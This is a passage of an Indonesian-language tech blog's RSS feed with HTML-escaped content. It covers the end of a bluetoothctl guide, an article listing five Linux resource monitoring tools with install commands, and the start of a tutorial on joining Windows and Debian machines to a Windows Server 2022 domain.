perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pair&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;27:AB:34:8B:CD:B1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. &lt;em&gt;Listing&lt;/em&gt; perangkat&lt;a href=&quot;#2-listing-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat melihat perangkat apa saja yang pernah terhubung, atau jika perintah ini dilakukan setelah &lt;em&gt;scanning&lt;/em&gt;, maka akan terlihat perangkat-perangkat yang berhasil ter-&lt;em&gt;scan&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;devices listing&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;119&quot; src=&quot;/_astro/ss6.C7SUVXNC_6SrKp.webp&quot; /&gt;&lt;figcaption&gt;devices listing&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. &lt;em&gt;Device info&lt;/em&gt;&lt;a href=&quot;#3-device-info&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat melihat info rinci mengenai &lt;em&gt;device&lt;/em&gt; yang terhubung:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;info&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;device info&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;491&quot; src=&quot;/_astro/ss7.CbhAtDf5_oQdaG.webp&quot; /&gt;&lt;figcaption&gt;device info&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Btw, saya membuat artikel ini di &lt;a href=&quot;https://wayfire.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Wayfire&lt;/strong&gt;&lt;/a&gt;-nya Archlinux.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;wayfire1&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/way1.B0-O1DIl_1wl0J6.webp&quot; /&gt;&lt;figcaption&gt;wayfire1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;wayfire2&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/way2.B5FAIDZh_Z219al8.webp&quot; /&gt;&lt;figcaption&gt;wayfire2&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;wayfire3&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/way3.DaSfCLgV_Z1kK27D.webp&quot; /&gt;&lt;figcaption&gt;wayfire3&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Bluetooth&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Bluetooth&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bandithijo.dev/blog/mudah-menggunakan-bluetoothctl&quot; target=&quot;_blank&quot;&gt;https://bandithijo.dev/blog/mudah-menggunakan-bluetoothctl&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>5 Modern Linux Resource Monitoring Tools</title><link>https://shangdi.github.io/posts/tech/resmon/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/resmon/</guid><description>This article would show several modern linux resource monitoring utilities that might help you identify your resource consumptions easily.</description><pubDate>Thu, 20 Feb 2025 15:43:50 GMT</pubDate><content:encoded>&lt;p&gt;Linux memiliki beberapa &lt;em&gt;utility&lt;/em&gt; yang secara spesifik ditujukan untuk memudahkan kita sebagai penggunanya untuk memantau kondisi &lt;em&gt;resource&lt;/em&gt; komputer kita. &lt;em&gt;Reource&lt;/em&gt; yang saya maksud di sini sekurang-kurangnya mencakup &lt;strong&gt;CPU&lt;/strong&gt; &amp;amp; &lt;strong&gt;RAM&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Berikut adalah daftarnya:&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;1. htop&lt;a href=&quot;#1-htop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;htop&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;resource monitoring tools&lt;/em&gt; yang akan menampilkan informasi terkait:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CPU&lt;/li&gt;
&lt;li&gt;RAM&lt;/li&gt;
&lt;li&gt;SWAP&lt;/li&gt;
&lt;li&gt;Process&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Selain itu, &lt;strong&gt;&lt;code&gt;htop&lt;/code&gt;&lt;/strong&gt; juga memiliki fitur untuk mencari proses yang sedang berjalan dan memberhentikannya secara paksa (jika memang diperlukan), sama seperti yang dapat kita lakukan di Task Manager kalau di Windows.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;htop&quot; loading=&quot;lazy&quot; width=&quot;1281&quot; height=&quot;839&quot; src=&quot;/_astro/ss1.Dadr3EB6_Z2wUkP4.webp&quot; /&gt;&lt;figcaption&gt;htop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install htop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy htop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install htop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install htop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href=&quot;https://github.com/htop-dev/htop&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;htop-dev&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;htop&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. btop&lt;a href=&quot;#2-btop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;btop&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;resource monitoring tools&lt;/em&gt; yang akan menampilkan informasi terkait:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CPU&lt;/li&gt;
&lt;li&gt;RAM&lt;/li&gt;
&lt;li&gt;SWAP&lt;/li&gt;
&lt;li&gt;Disk&lt;/li&gt;
&lt;li&gt;Process&lt;/li&gt;
&lt;li&gt;Network&lt;/li&gt;
&lt;li&gt;Battery&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;btop&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;848&quot; src=&quot;/_astro/ss2.Dkp3GWyO_1Ja3qI.webp&quot; /&gt;&lt;figcaption&gt;btop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;btop&lt;/code&gt;&lt;/strong&gt; juga kaya akan &lt;em&gt;customization&lt;/em&gt;. Diantaranya, kita dapat mengganti tema, memilih informasi spesifik yang ingin ditampilkan (misalnya kita hanya ingin informasi tentang process saja yang tampil, atau internet saja), dan kustomisasi-kustomisasi lainnya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi&lt;a href=&quot;#instalasi-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install btop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy btop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install btop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install btop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href=&quot;https://github.com/aristocratos/btop&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;aristocratos&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;btop&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;3. glances&lt;a href=&quot;#3-glances&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;glances&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;resource monitoring tools&lt;/em&gt; yang akan menampilkan informasi terkait:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CPU&lt;/li&gt;
&lt;li&gt;RAM&lt;/li&gt;
&lt;li&gt;SWAP&lt;/li&gt;
&lt;li&gt;Disk&lt;/li&gt;
&lt;li&gt;Process&lt;/li&gt;
&lt;li&gt;Network&lt;/li&gt;
&lt;li&gt;Battery&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;glances&quot; loading=&quot;lazy&quot; width=&quot;1278&quot; height=&quot;835&quot; src=&quot;/_astro/ss3.LT7GP5b0_Z1vMqE3.webp&quot; /&gt;&lt;figcaption&gt;glances&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;glances&lt;/code&gt;&lt;/strong&gt; secara UI (&lt;em&gt;user interface&lt;/em&gt;) sedikit lebih mirip dengan &lt;strong&gt;&lt;code&gt;htop&lt;/code&gt;&lt;/strong&gt;. Terdapat beberapa kustomisasi, seperti memilih informasi apa yang ingin ditampilkan. Namun, glances tidak memiliki kustomisasi tema.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi&lt;a href=&quot;#instalasi-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install glances&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy glances&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install python-glances&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install htop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href=&quot;https://github.com/nicolargo/glances&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;nicolargo&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;glances&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;4. gotop&lt;a href=&quot;#4-gotop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;gotop&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;resource monitoring tools&lt;/em&gt; yang akan menampilkan informasi terkait:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CPU&lt;/li&gt;
&lt;li&gt;RAM&lt;/li&gt;
&lt;li&gt;SWAP&lt;/li&gt;
&lt;li&gt;Disk&lt;/li&gt;
&lt;li&gt;Process&lt;/li&gt;
&lt;li&gt;Network&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;gotop&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;843&quot; src=&quot;/_astro/ss4.CYIjWD1P_Z2a7pSc.webp&quot; /&gt;&lt;figcaption&gt;gotop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;gotop&lt;/code&gt;&lt;/strong&gt; secara UI (&lt;em&gt;user interface&lt;/em&gt;) sedikit lebih mirip dengan &lt;strong&gt;&lt;code&gt;htop&lt;/code&gt;&lt;/strong&gt;. Terdapat beberapa kustomisasi, seperti memilih informasi apa yang ingin ditampilkan. Namun, glances tidak memiliki kustomisasi tema. Sayangnya, gotop tidak tersedia di beberapa repo distro sehingga kita harus meng-&lt;em&gt;compile&lt;/em&gt; dan meng-&lt;em&gt;install&lt;/em&gt;-nya secara manual dari repo-nya di github.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi&lt;a href=&quot;#instalasi-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;












&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo yay -Sy gotop&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href=&quot;https://github.com/cjbassi/gotop&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;cjbassi&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;gotop&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;5. nmon&lt;a href=&quot;#5-nmon&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;nmon&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;resource monitoring tools&lt;/em&gt; yang akan menampilkan informasi terkait:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CPU&lt;/li&gt;
&lt;li&gt;RAM&lt;/li&gt;
&lt;li&gt;SWAP&lt;/li&gt;
&lt;li&gt;Network&lt;/li&gt;
&lt;li&gt;Disk&lt;/li&gt;
&lt;li&gt;Process&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;nmon&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;871&quot; src=&quot;/_astro/ss5.BgHAEt_3_Z12bAGV.webp&quot; /&gt;&lt;figcaption&gt;nmon&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;nmon&lt;/code&gt;&lt;/strong&gt; merupakan &lt;em&gt;resource monitoring tool&lt;/em&gt; yang unik dan keren dari segi UI menurut saya. Kita juga dapat mengatur informasi yang ingin ditampilkan. Meskipun demikian, &lt;strong&gt;&lt;code&gt;nmon&lt;/code&gt;&lt;/strong&gt; tidak memiliki kustomisasi tema seperti yang terdapat di &lt;strong&gt;&lt;code&gt;btop&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi&lt;a href=&quot;#instalasi-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install nmon&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy nmon&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install nmon&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install nmon&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;a href=&quot;https://nmon.sourceforge.io/pmwiki.php&quot; target=&quot;_blank&quot;&gt;https://nmon.sourceforge.io/pmwiki.php&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>Joining Windows and Linux Machine to a Domain (Windows Server 2022)</title><link>https://shangdi.github.io/posts/tech/joinad/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/joinad/</guid><description>How to join a windows and linux machine to an active directory domain controller on Windows Server 2022</description><pubDate>Wed, 12 Feb 2025 03:24:53 GMT</pubDate><content:encoded>&lt;p&gt;Artikel ini akan membahas tutorial untuk join ke domain di Windows Server 2022, baik tutorial untuk Windows maupun tutorial untuk Linux.&lt;/p&gt;
&lt;p&gt;Secara umum, langkah-langkah untuk bergabung ke domain dari mesin Windows relatif sama, baik Windows 7, Windows 10, maupun Windows 11. Akan tetapi, untuk contoh tutorial kali ini, saya akan menggunakan &lt;strong&gt;Windows 10&lt;/strong&gt; sebagai client yang akan mencoba bergabung ke domain Windows Server 2022.&lt;/p&gt;
&lt;p&gt;Begitupula dengan linux, secara umum, langkah-langkah yang dilakukan untuk bergabung ke domain Windows relatif sama dari distro apapun. Tapi, untuk contoh tutorial ini saya akan menggunakan distro &lt;strong&gt;Debian Bookworm&lt;/strong&gt; sebagai client yang akan mencoba bergabung ke domain Windows Server 2022.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Pembahasan mengenai Active Directory dan Domain Controller tidak dibahas dalam artikel ini.&lt;/li&gt;
&lt;li&gt;Untuk join dari distro yang berbeda (terutama berbeda induk alias bukan Debian-based distro), mungkin beberapa paket yang perlu di-&lt;em&gt;install&lt;/em&gt; nanti juga akan berbeda namanya. Jadi, silakan disesuaikan.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;Prerequisites&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Hal-hal yang perlu diperhatikan sebelum join ke Domain:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Pastikan user yang akan digunakan untuk login nanti sudah terdaftar di Server. Seperti terlihat di tangkapan layar berikut, saya sudah membuat 2 user di domain controller, yaitu &lt;strong&gt;“wildan”&lt;/strong&gt; (yang juga tergabung dalam grup Administrator) &amp;amp; &lt;strong&gt;“alex”&lt;/strong&gt; (sebagai user biasa).
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;registered users in domain&quot; loading=&quot;lazy&quot; width=&quot;895&quot; height=&quot;521&quot; src=&quot;/_astro/ss0.C0W8K1v1_Z13tG98.webp&quot; /&gt;&lt;figcaption&gt;registered users in domain&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Catat ip address, hostname, dan nama domain server-nya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;br /&gt;
Berikut adalah ip windows server saya: &lt;code&gt;192.168.0.105&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;domain ip address&quot; loading=&quot;lazy&quot; width=&quot;1040&quot; height=&quot;568&quot; src=&quot;/_astro/ss1.DZQ_mPDR_wW5vD.webp&quot; /&gt;&lt;figcaption&gt;domain ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah hostname dan nama domain server saya: &lt;code&gt;DC01&lt;/code&gt; &amp;amp; &lt;code&gt;DC.local&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;hostname and domain name&quot; loading=&quot;lazy&quot; width=&quot;749&quot; height=&quot;549&quot; src=&quot;/_astro/ss2.DOTFAb6M_Z1cVcuM.webp&quot; /&gt;&lt;figcaption&gt;hostname and domain name&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Windows to Domain&lt;a href=&quot;#windows-to-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. Menambahkan DNS&lt;a href=&quot;#1-menambahkan-dns&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah pertama adalah menambahkan ip domain ke DNS Windows kita.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pergi ke “Control Panel -&amp;gt; Network and Internet -&amp;gt; Network and Sharing Centre -&amp;gt; Change Adapter Settings”.&lt;/li&gt;
&lt;li&gt;Klik kanan di adapter yang akan digunakan untuk terhubung ke Domain. Di sini saya akan memilih adapter Ethernet (karena Windows ini di-setup sebagai VM di Virtualbox). Pilih “Properties”.&lt;/li&gt;
&lt;li&gt;Klik “Internet Protocol Version 4 (TCP/IPv4)”, lalu klik Properties.&lt;/li&gt;
&lt;li&gt;Pilih “Use the following DNS server address automatically”.&lt;/li&gt;
&lt;li&gt;Inputkan &lt;em&gt;ip address&lt;/em&gt; dari domain server yang tadi sudah kita catat di kolom “Preferred DNS server”.&lt;/li&gt;
&lt;li&gt;Klik “Ok” untuk menyimpan perubahan.&lt;/li&gt;
